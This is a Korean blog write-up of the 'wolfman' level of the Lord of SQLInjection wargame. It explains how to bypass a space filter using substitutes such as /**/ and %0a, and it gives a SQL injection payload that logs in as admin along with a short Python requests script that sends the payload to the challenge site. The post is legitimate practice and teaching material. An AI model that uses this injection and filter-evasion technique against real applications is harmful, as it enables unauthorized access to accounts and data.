본문으로 바로가기

LOS 5(wolfman)

category LOS-write up 2021. 1. 3. 03:04

문제

문제 분석

pw에 "prob" , "_" , "."," "(공백(화이트 스페이스))를 피해 id에 값이 admin으로 들어있으면 문제가 풀린다.

 

이때 공백이 필터링 되어있어 이를 우회하는게 핵심이다.  

 

문제 풀이

pw에 '(싱글쿼터)를 넣어주어 아무값도 없게 만들고 or를 입력해서 뒤에 쿼리를 id='admin' 으로 조작한다

where id='guest' and pw='' or id='admin'
=>  or로 주황색 조건을 전부 false로 만들어 뒤에 id가 admin인 조건만을 남겨둔다.

 

이때 공백을 쓰면 안되므로 공백우회가 필요하다.

 

%20(화이트 스페이스) -> %0a , %0b , %0c , %0d , %09 , /**/

 

 

문제 정답

URL?pw='or/**/id='admin'/**/#

url을 조작할시 # %23으로 입력해줘야한다.

 

 

문제 풀이 코드

import requests

url = 'https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'}  #로그인 쿠키

data={}

data['pw']="'or/**/id='admin'/**/#" 
res = requests.get(url, params=data, cookies=session)

print(res.url)

if "Clear!" in res.text:
    print("\nClear!")
else:
    print("try again!")

코드 결과

'LOS-write up' 카테고리의 다른 글

LOS 7(orge)  (0) 2021.01.03
LOS 6(darkelf)  (0) 2021.01.03
LOS 4(orc)  (0) 2021.01.03
LOS 3(goblin)  (0) 2021.01.03
LOS 2 (cobolt)  (0) 2021.01.03